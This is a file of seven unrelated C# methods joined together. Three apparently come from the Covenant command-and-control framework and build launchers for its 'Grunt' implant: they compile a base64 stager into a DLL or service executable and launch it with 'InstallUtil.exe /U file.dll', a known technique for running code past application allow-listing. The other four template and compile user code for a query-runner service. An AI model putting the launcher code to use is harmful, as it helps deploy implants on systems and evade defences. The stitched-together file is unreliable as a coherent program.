public override string GetLauncher(string StagerCode, byte[] StagerAssembly, Grunt grunt, ImplantTemplate template) { this.StagerCode = StagerCode; this.Base64ILByteString = Convert.ToBase64String(StagerAssembly); string code = CodeTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString); List <Compiler.Reference> references = grunt.DotNetFrameworkVersion == Common.DotNetVersion.Net35 ? Common.DefaultNet35References : Common.DefaultNet40References; references.Add(new Compiler.Reference { File = grunt.DotNetFrameworkVersion == Common.DotNetVersion.Net35 ? Common.CovenantAssemblyReferenceNet35Directory + "System.Configuration.Install.dll" : Common.CovenantAssemblyReferenceNet40Directory + "System.Configuration.Install.dll", Framework = grunt.DotNetFrameworkVersion, Enabled = true }); this.DiskCode = Convert.ToBase64String(Compiler.Compile(new Compiler.CompilationRequest { Language = template.Language, Source = code, TargetDotNetVersion = grunt.DotNetFrameworkVersion, OutputKind = OutputKind.DynamicallyLinkedLibrary, References = references })); this.LauncherString = "InstallUtil.exe" + " " + "/U" + " " + "file.dll"; return(this.LauncherString); }
public override string GetLauncher(Listener listener, Grunt grunt, HttpProfile profile) { this.StagerCode = listener.GetGruntStagerCode(grunt, profile); this.Base64ILByteString = listener.CompileGruntStagerCode(grunt, profile, this.OutputKind, true); string code = CodeTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString); List <Compiler.Reference> references = grunt.DotNetFrameworkVersion == Common.DotNetVersion.Net35 ? Common.DefaultNet35References : Common.DefaultNet40References; references.Add(new Compiler.Reference { File = "System.Configuration.Install.dll", Framework = grunt.DotNetFrameworkVersion, Enabled = true }); this.DiskCode = Convert.ToBase64String(Compiler.Compile(new Compiler.CompilationRequest { Source = code, TargetDotNetVersion = grunt.DotNetFrameworkVersion, OutputKind = OutputKind.DynamicallyLinkedLibrary, References = references })); this.LauncherString = "InstallUtil.exe" + " " + "/U" + " " + "file.dll"; return(this.LauncherString); }
public override string GetLauncher(string StagerCode, byte[] StagerAssembly, Grunt grunt, ImplantTemplate template) { this.StagerCode = StagerCode; this.Base64ILByteString = Convert.ToBase64String(StagerAssembly); var code = CodeTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString); var references = grunt.DotNetVersion == Common.DotNetVersion.Net35 ? Common.DefaultNet35References : Common.DefaultNet40References; references.Add(new Compiler.Reference { File = grunt.DotNetVersion == Common.DotNetVersion.Net35 ? Common.CovenantAssemblyReferenceNet35Directory + "System.ServiceProcess.dll" : Common.CovenantAssemblyReferenceNet40Directory + "System.ServiceProcess.dll", Framework = grunt.DotNetVersion, Enabled = true }); this.DiskCode = Convert.ToBase64String(Compiler.Compile(new Compiler.CsharpFrameworkCompilationRequest { Language = template.Language, Source = code, TargetDotNetVersion = grunt.DotNetVersion, OutputKind = OutputKind.ConsoleApplication, References = references })); this.LauncherString = string.Format("{0}{1}.exe", template.Name, "SVC"); return(this.LauncherString); }
public CodeResponse ExecuteCode(CodeRequest input) { var sw = new Stopwatch(); sw.Start(); var newInput = _fragmentService.Fix(input.Text); var assmName = Guid.NewGuid().ToIdentifierWithPrefix("a"); var implName = Guid.NewGuid().ToIdentifierWithPrefix("UserCodeImpl"); var programSource = CodeTemplate .Replace("##SOURCE##", newInput.Text) .Replace("##NS##", assmName) .Replace("##IMPLNAME##", implName); var compileResult = _hostService.StartGenerated(input.Id, programSource, assmName); return(new CodeResponse { Id = Guid.NewGuid(), Created = DateTime.Now, Diagnostics = compileResult.Diagnostics, Code = compileResult.Code }); }
public async Task <TemplateResponse> GetTemplate(QueryRequest input) { var srcToken = "##SOURCE##"; var assmName = Guid.NewGuid().ToIdentifierWithPrefix("a"); var implName = Guid.NewGuid().ToIdentifierWithPrefix("UserCodeImpl"); var schemaResult = await _schemaService.GetSchemaSource(input.ConnectionString, input.ServerType, assmName, withUsings : false); var schemaSrc = schemaResult.Schema; var userText = input.Text ?? string.Empty; LinePosition tokenPos; var src = CodeTemplate .Replace("##NS##", assmName) .Replace("##DB##", "Proxy") .Replace("##SCHEMA##", schemaSrc) .Replace("##IMPLNAME##", implName) .ReplaceToken(srcToken, userText, out tokenPos); return(new TemplateResponse { Template = src, Namespace = assmName, LineOffset = tokenPos.Line, ColumnOffset = tokenPos.Character, DefaultQuery = string.Format("{0}.Take(100).Dump();{1}{1}", schemaResult.DefaultTable, Environment.NewLine) }); }
public async Task <QueryResponse> ExecuteQuery(QueryRequest input) { var newInput = _fragmentService.Fix(input.Text); var contextResult = await _databaseContextService.GetDatabaseContext(input.ConnectionString, input.ServerType); if (contextResult.Code != Api.StatusCode.Ok) { return(new QueryResponse { Code = contextResult.Code, Message = contextResult.Message }); } var assmName = Guid.NewGuid().ToIdentifierWithPrefix("a"); var implName = Guid.NewGuid().ToIdentifierWithPrefix("UserCodeImpl"); var programSource = CodeTemplate .Replace("##NS##", assmName) .Replace("##SCHEMA##", "") // schema is linked .Replace("##DB##", contextResult.Type.ToString()) .Replace("##IMPLNAME##", implName) .Replace("##SOURCE##", newInput.Text); var compileResult = _hostService.StartGenerated(input.Id, programSource, assmName, contextResult.Reference); return(new QueryResponse { Id = Guid.NewGuid(), Created = DateTime.Now, Diagnostics = compileResult.Diagnostics, Code = compileResult.Code }); }
public TemplateResponse GetTemplate(CodeRequest input) { Logger.Debug("{1}: {0}", JsonConvert.SerializeObject(input), input.Id); var srcToken = "##SOURCE##"; var assmName = Guid.NewGuid().ToIdentifierWithPrefix("a"); var implName = Guid.NewGuid().ToIdentifierWithPrefix("UserCodeImpl"); var userText = input.Text ?? string.Empty; LinePosition position; var src = CodeTemplate .Replace("##NS##", assmName) .Replace("##IMPLNAME##", implName) .ReplaceToken(srcToken, userText, out position); return(new TemplateResponse { Template = src, Namespace = assmName, LineOffset = position.Line, ColumnOffset = position.Character, }); }